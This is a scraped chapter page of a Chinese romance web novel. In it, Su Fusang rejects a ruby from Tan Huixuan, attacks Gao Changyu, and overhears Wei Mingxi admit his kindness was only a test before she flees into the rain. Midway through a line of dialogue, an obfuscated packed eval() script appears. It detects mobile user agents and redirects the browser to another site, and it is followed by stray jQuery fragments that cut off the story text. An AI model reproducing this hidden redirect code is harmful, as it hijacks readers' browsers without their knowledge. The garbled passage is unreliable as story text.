默认冷灰
24号文字
方正启体

5. 得知真像

作者:艳艳随波本书字数:K更新时间:
    “猜猜看,这是什么?”


    “我……”


    是什么,还能是什么,定然是吓唬她的虫子。


    “不说,我就扔你怀里了。”


    苏拂桑恨极了他们,为何一遍遍捉弄她。


    她愤怒抬头,谭回轩笑意盈盈地站在她面前。


    他似乎没有注意到苏拂桑的愤怒,或者苏拂桑的愤怒在他看来不过是兔子咬人,不痛不痒。


    他促狭道:“哟,我还以为我生的面目可憎,你不愿瞧我一眼。”


    他微微弯下腰,紫边金丝发带垂落,底端点缀的琉璃玉碰到苏佛桑木桌,发出清脆的清响,没有拉拢的衣物,露出大片白皙锁骨。


    “喏,我从南海带来的宝珠,送你了。”


    足足有一个拳头大的红宝石被递到了苏佛桑面前。


    宝石雕成了兔子形象,只是雕工粗糙,除了那双活灵活现的眼睛,其他是半点不像,也不知出自谁手。


    然而就算这样粗糙,这一颗足有拳头大的宝石也是价值连城。


    学堂里,声音一下消失,苏拂桑听到了周遭人的抽气声。


    她垂眸,并未接过,而是指了指自己,怀疑道:“这是给我的?”


    “算作昨日的补偿。”


    怒火灼烧肺腑。


    他们昨日那样捉弄她。


    让她在肃穆清幽的学堂,让她在朗朗书声中,甚至在众目睽睽下,犹如。


    犹如青楼舞女般跳舞,供他们赏玩。


    在看不清的暗处,不知有多少人看见了这一幕,他们又是在心里如何嘲笑她。


    然而,谭回轩居然以为一个宝珠就可以弥补。


    可以让她忘记他们对她的伤害。


    苏拂桑手缩回,冷漠道:“我不要,你们别以为这样我就可以让我忘记你们的捉弄。”


    她讨厌他们,这样高高在上俯视她的态度。


    “你不要!”谭回轩听到苏拂桑的回答,笑盈盈的脸一下僵住。


    苏拂桑似乎心里涌出无限勇气。


    她梗着脖子,毫不退缩对上谭回轩逐渐变冷的眸子。


    “对,我不要,这样恶心的东西,我才不要。”


    谭回轩眼睛发红,一张英俊的脸扭曲。


    他从牙缝挤出来三个好,放下狠话。


    “好,好,好,苏拂桑你好胆色。”


    他一脚踢开旁边的椅子,椅子翻滚在地。


    “噼里啪啦”,连着倒下一大片。


    课室里,众人吓得不敢发声,屏住气息,缩在一旁。


    谭回轩转身,眼睛发红,胸膛气得发涨。


    他伸出手,一把举起桌案,作势要向苏拂桑砸来。


    苏拂桑吓得闭上眼睛,疼痛却没有出现,她睁眼,只看见谭回轩怒气冲冲离开的背影。


    放完狠话,苏拂桑就后悔了。


    气刚松下,一旁的高长彧就拱火道:“啧啧啧,你以后可惨了。”


    “谭回轩这人,阴的很,我劝你还是早日退学好。免得啊,日后被人欺负得哭哭啼啼。”


    “你说你,以前都不反抗,怎么今日哪来的勇气,真是……”


    高长彧像一个烦人的蚊子,在耳边嗡嗡。


    惹都惹了,再惹一个又何妨。


    高长彧话未完,错愕的目光中,苏拂桑从铺垫上狠狠扑向他。


    我挠死你这张讨人厌的嘴。


    苏拂桑的手指又长又细。


    在军营长大的高长彧本来是可以轻松躲开的,但是他没有料到苏拂桑居然敢反抗。


    头一时没有反应过来,就让苏拂桑的手指划破了他嘴巴。


    舌尖尝到血腥味,高长彧拧眉毛,在苏拂桑还想要挠他时,宽大的手掌轻而易举握住苏拂桑两只手腕。


    兔子一样的眼睛在他怀里瞪他。


    里面有愤怒,悲伤,不解,委屈。


    高长彧想要说的话就溺在这双眼睛里。


    “苏拂桑,你做什么,你简直胆大妄为。”


    冷眼旁观许久的卫明云再也忍不了,大步走过来。


    视线落在高长彧与苏拂桑握着的手上,她转过身冷冷对着苏拂桑道:“阿父叮嘱你不要在学堂闹事,你今日是做什么?”


    苏拂桑甩开手,瞪着卫明云,“做什么?卫明云,明明是高长彧欺负我,你看不见吗?”


    “我只看见你对小侯爷出手。若你有冤屈,应是禀明阿父或者夫子,他们自会为你申冤。”


    “你这样大打出手,成何体统。”


    阿父一颗心卫明云身上,夫子更是眼里只有门第之分,谁会在意她。


    卫明云这话何其可笑。


    苏拂桑视线落在周围人身上,所有人的目光里都是指责。


    她忍受不了,什么也不管就跑了出去。


    她一口气跑回学舍,把屋子门锁住,又把打开的窗户全部关上。


    春棠凑到她身边,小心翼翼道:“小姐,现在不是还是上课时间吗,您怎么回来了。”


    苏拂桑踌躇了一会儿,才道:“春棠,我好像得罪了谭回轩。”


    春棠大惊,“您得罪了谭公子!”


    她急得绕步,满脸紧张和恐怖,被她一吓,苏拂桑也有些害怕,她哆哆嗦嗦道:“我还把高长彧打了。”


    春棠腿一下跪下,“您还打了小侯爷。”


    苏拂桑也跟着紧张起来,嘴上硬道:


    “怎么,就许他们欺负我,我不能欺负回去。春棠你不是之前说告诉阿父他们欺负我吗,我现在就写信与阿父说。”


    春棠表情为难起来,半响吐出话。


    “小姐,若是你单独受欺负,那理便在您这,不管侯爷多么位高权重,他也会卖老爷一个面子。可是若是你出手,那理便不在你这。”


    “若是卫明云小姐,或许……”


    春棠这话一出,苏拂桑便明白为什么。


    因为她不受宠爱,所以她先动手打了高长彧,父亲不会为冒着风险去得罪侯爷。


    她肩膀耷拉下来,丧失所有勇气,“找卫明溪,快去找卫明溪,他有办法,他一定有办法。”


    苏拂桑急匆匆穿鞋,春棠在后面喊她外面雨大,苏拂桑也没有听清。


    门口的人看见是她,也没有拦,她浑身湿漉漉走到檐下,刚要敲门。


    门内传来卫明云的声音。


    “兄长,你为何要帮苏拂桑,她是来毁我们幸福的。”


    苏拂桑敲门的手停在半空。


    她屏住呼吸,静静立在门口,雨开始下得湍急,风声越来越大。


    门扉上透出二人的剪影,苏拂桑附耳贴过去。


    卫明溪熟悉的声音从屋内传来,与讲课时一眼温柔的声音,话却冰冷刺骨。


    “不过是一些试探,她既在父亲和母亲面前不得势,日后我也无需费心。”


    “原来兄长是这个打算,我还以为…


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499736|202675||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    …”


    哗啦,暴雨如注,天空电闪雷鸣,轰隆的雷声,在黑夜中犹如恶鬼索命。


    苏拂桑后退一步,身子一寸寸僵硬起来,她不可思议地听着里面的话,心越来越疼,脊背逐渐弯下去,手捂住心口。


    怎么会,怎么会这样。


    卫明溪是骗她的,他是一个彻头彻尾的骗子。


    对她好,居然只是为了在阿父阿母面前,做样子。


    曾经朝夕相处的画面在脑中闪过,眼泪如断了线的珍珠夺眶而出,顺着脸颊滑下,眼看里面的人要出来,她捂住脸飞快地跑出去。


    “咦,这是谁的伞?”卫明云走出来,抬脚撞到一把伞。


    她看向卫明溪,卫明溪盯着伞,弯腰执起伞,摩挲上面的花纹,淡声道:“应该是子墨丢的。”


    可是这把伞像一个女子使用的。


    卫明云觉得不对劲,但是又说不出来。卫明溪看了眼檐下大雨,转头对着她道:“雨大了,你身子弱先回去,莫要吹风,不然病又要犯了。”


    卫明云莞尔一笑,“我身子已经好很多了,哥哥不用这么担心。”


    卫明溪摸摸她的头,“不管怎么样,你是我唯一的妹妹,我只希望你平安富贵。”


    卫明云提起衣摆消失在黑夜里,等她身影消失不见,卫明溪沉声道:“子墨。”


    子墨从屋内跑出来,卫明溪握住伞,询问道:“今日有谁来过?”


    “禀告公子,前一刻大小姐来过。”


    听到回答,卫明溪闭上眼,天上惊雷闷响,闪电交织。昏暗下,卫明溪睁开眼,秀雅的脸庞一半隐藏在阴影下,一半在光中。


    “拿伞来。”


    *


    “哗啦啦。”


    花园里,苏拂桑慌不择路地淋雨跑,时不时往后看。


    前方一块硕大的石子横在中间,当她想要躲避的时候已经来不及,脚向后一滑,狼狈地在石板上滚落。


    肌肤与鹅卵石摩擦,擦出一道道带血伤口,膝盖撞击在地上,直接磕出一个大口子,血哗啦流一地。


    苏拂桑浑身上下哪里都疼,她慢慢撑起,手掌一滑,又再次狼狈趴在地上,雨水打湿她的发丝,眼泪大颗大颗涌出。


    “卫明溪,卫明溪,卫明溪。”


    雷雨里,只有她痛苦的哭喊和逐渐靠近的脚步声。


    苏拂桑不想要让人瞧见她狼狈地样子,她拖着身子,一步步爬到假山后躲着,夏季里花开的茂盛,一簇簇的,苏拂桑就抱腿缩在里面。


    花香袭人,冰凉的露水滴落在肌肤上,苏拂桑一缩,耳边脚步身越来越近。


    快走,快走。


    苏拂桑心里暗自祈祷,那人却像没有听到一样,并没有离开,反而朝着这边来。


    她不敢动了,手捂住嘴巴,放低哭音。一双眼睛盯着外面,视线里出现一双鞋子。


    苏拂桑眼睛瞪圆,层层绿叶,花瓣挡住了她的视线,她看不清这人。


    她只能看见一双大手,缓缓伸来,做势要拉开花丛。


    不,不要。


    苏拂桑祈求,最终那双手停在了眼前的绣球花瓣上,葱白的指尖,熟悉的药香顺着花香传入鼻尖。


    苏拂桑瞬间明白眼前人是谁,那人没有说话,只是将什么放在了地上,随即脚步离开。


    待他走了好一会儿,苏拂桑才从花丛里钻出来。


    她捡起地上的东西,借着月光一看,是她丢的伞。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)